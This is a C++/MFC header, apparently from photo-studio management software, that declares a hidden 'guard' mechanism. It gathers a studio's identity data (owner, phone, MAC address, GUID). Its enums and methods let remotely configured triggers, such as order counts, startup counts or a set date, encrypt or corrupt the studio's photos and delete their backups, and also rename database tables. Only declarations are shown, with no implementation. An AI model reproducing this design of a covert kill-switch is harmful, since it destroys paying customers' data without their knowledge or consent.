123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225 |
- /************************************************************************/
- /* Copyright (C), 2016-2020, [IT], 保留所有权利;
- /* 模 块 名:;
- /* 描 述:;
- /*
- /* 版 本:[V];
- /* 作 者:[IT];
- /* 日 期:[8/30/2016];
- /*
- /*
- /* 注 意:;
- /*
- /* 修改记录:[IT];
- /* 修改日期:;
- /* 修改版本:;
- /* 修改内容:;
- /************************************************************************/
- #ifndef __GUARDINFO__
- #define __GUARDINFO__
- #pragma once
- #include <afx.h>
- class CGuardInfo :public CObject
- {
- DECLARE_SERIAL(CGuardInfo);
- public:
- CGuardInfo(void);
- ~CGuardInfo(void);
- CGuardInfo &operator=(CGuardInfo& member);
- virtual void Serialize(CArchive& ar);
-
- public:
- // 影楼名称;
- CString m_StudioName;
- // 影楼域名;
- CString m_StudioDomain;
- // 影楼地址;
- CString m_StudioAddress;
- // 影楼所有者;
- CString m_StudioOwner;
- // 影楼电话;
- CString m_StudioTel;
- // 影楼Mac地址;
- CString m_StudioMac;
- // 影楼Guid;
- CString m_StudioGuid;
- // 更新时间;
- CString m_Uptodate;
- // 影楼订单数量;
- CString m_StudioInfo;
- // 影楼软件版本;
- CString m_StudioVer;
- // 是否使用域天加密锁;
- BOOL m_bUseYtUsb;
- // 执行的结果;
- CString m_ExecResult;
- };
- enum GuardTriggerEvent
- {
- // 下次触发时触发;
- GTE_NextTimeTrigger = 0,
- // 下次备份时触发;
- GTE_NextTimeBarkup = 1,
- // 下次启动时触发;
- GTE_NextTimeStart = 2,
- // 客户端启动第n个时;
- GTE_ClientOpen = 3,
- // 订单超过n个时;
- GTE_OrderCount = 4,
- // 历史订单超过n个时;
- GTE_HistoryOrderCount = 5,
- // 指定具体日期时间;
- GTE_SpecifyTime = 6
- };
- // A=原片、B=初修、C=精修、D=设计;
- enum GuardExecCommand
- {
- // 修改数据库表名;
- GEC_ModifyTableName = 0x00000001,
- // 修改数据库表字段名;
- GEC_ModifyFieldName = 0x00000002,
- // 加密原片并删除备份的原片;
- GEC_EncryptA0 = 0x00000004,
- // 加密原片和备份的原片;
- GEC_EncryptA1 = 0x00000008,
- // 加密初修片并删除备份的初修片;
- GEC_EncryptB0 = 0x00000010,
- // 加密初修片和备份的初修片;
- GEC_EncryptB1 = 0x00000020,
- // 加密精修片并删除备份的初修片;
- GEC_EncryptC0 = 0x00000040,
- // 加密精修片和备份的初修片;
- GEC_EncryptC1 = 0x00000080,
- // 加密设计片并删除备份的初修片;
- GEC_EncryptD0 = 0x00000100,
- // 加密设计片和备份的初修片;
- GEC_EncryptD1 = 0x00000200,
- // 原片文件头加塞数据使相片无效,并且删除原片备份;
- GEC_GasserDataA0 = 0x00000400,
- // 原片和原片备份文件头加塞数据使相片无效;
- GEC_GasserDataA1 = 0x00000800,
- // 初修片文件头加塞数据使相片无效,并且删除初修片备份;
- GEC_GasserDataB0 = 0x00001000,
- // 初修片和初修片备份文件头加塞数据使相片无效;
- GEC_GasserDataB1 = 0x00002000,
- // 精修片文件头加塞数据使相片无效,并且删除精修片备份;
- GEC_GasserDataC0 = 0x00004000,
- // 精修片和精修片备份文件头加塞数据使相片无效;
- GEC_GasserDataC1 = 0x00008000,
- // 设计片文件头加塞数据使相片无效,并且删除设计片备份;
- GEC_GasserDataD0 = 0x00010000,
- // 设计片和设计片备份文件头加塞数据使相片无效;
- GEC_GasserDataD1 = 0x00020000,
- };
- class CGuardCommand :public CObject
- {
- DECLARE_SERIAL(CGuardCommand);
- public:
- CGuardCommand(void);
- ~CGuardCommand(void);
- CGuardCommand &operator=(CGuardCommand& member);
- virtual void Serialize(CArchive& ar);
- public:
- // 触发事件类型;
- BYTE m_byTrigger;
- // 客户端数量;
- INT m_nClientCount;
- // 订单数量;
- INT m_nOrderCount;
- // 历史订单数量;
- INT m_nHistoryOrderCount;
- // 指定的日期与时间;
- CString m_strExecTime;
- // 执行的命令类型;
- INT m_nExecCommand;
- // 原表名;
- CString m_strOldTableName;
- // 新表名;
- CString m_strNewTableName;
- // 原字段名;
- CString m_strOldFieldName;
- // 新字段名;
- CString m_strNewFieldName;
- // 加密密钥;
- CString m_strEncryptWord;
- // 加密订单数量;
- INT m_nEncrypOrderCount;
- // 加塞数据库长度;
- INT m_nGasserDataLen;
- public:
- };
- class CGuardCommandEx:public CGuardCommand
- {
- DECLARE_SERIAL(CGuardCommandEx);
- public:
- CGuardCommandEx(void);
- ~CGuardCommandEx(void);
- CGuardCommandEx &operator=(CGuardCommandEx& member);
- virtual void Serialize(CArchive& ar);
- public:
- // 是否被触发操作;
- BOOL m_bTrigger;
- // 是否完成;
- BOOL m_bFinished;
- // 上次触发时间;
- CString m_strLastTriggerTime;
- // 上次备份时间;
- CString m_strLastBakupTime;
- // 上次启动时间;
- CString m_strLastStartTime;
- protected:
- // 修改数据库表名;
- void ProCmd_ModifyTableName(IN LPCTSTR lpOldTableName, IN LPCTSTR lpNewTableName);
- // 修改数据库字段名;
- void ProCmd_ModifyFieldName(IN LPCTSTR lpTableName, IN LPCTSTR lpOldFieldName, IN LPCTSTR lpNewFieldName);
- // 加密原片并且删除备份原片;
- void ProCmd_EncryptA0();
- void ProCmd_EncryptA1();
- void ProCmd_EncryptB0();
- void ProCmd_EncryptB1();
- void ProCmd_EncryptC0();
- void ProCmd_EncryptC1();
- void ProCmd_EncryptD0();
- void ProCmd_EncryptD1();
- protected:
- // 下次触发时触发;
- void Pro_NextTimeTrigger(IN CGuardCommandEx* pGuardCmdEx);
- // 下次备份时触发;
- void Pro_NextTimeBarkup(IN CGuardCommandEx* pGuardCmdEx);
- // 下次启动时触发;
- void Pro_NextTimeStart(IN CGuardCommandEx* pGuardCmdEx);
- // 客户端启动第n个时;
- void Pro_ClientOpen(IN CGuardCommandEx* pGuardCmdEx);
- // 订单超过n个时;
- void Pro_OrderCount(IN CGuardCommandEx* pGuardCmdEx);
- // 历史订单超过n个时;
- void Pro_HistoryOrderCount(IN CGuardCommandEx* pGuardCmdEx);
- // 指定具体日期时间;
- void Pro_SpecifyTime(IN CGuardCommandEx* pGuardCmdEx);
- public:
- static HANDLE m_hGuardThread;
- static HANDLE m_hGuardEvent;
- BOOL StartGuardThread();
- void EndOfGuardThread();
- static DWORD WINAPI GuardThread(LPVOID lpParamter);
- };
- #endif // __GUARDINFO__;
|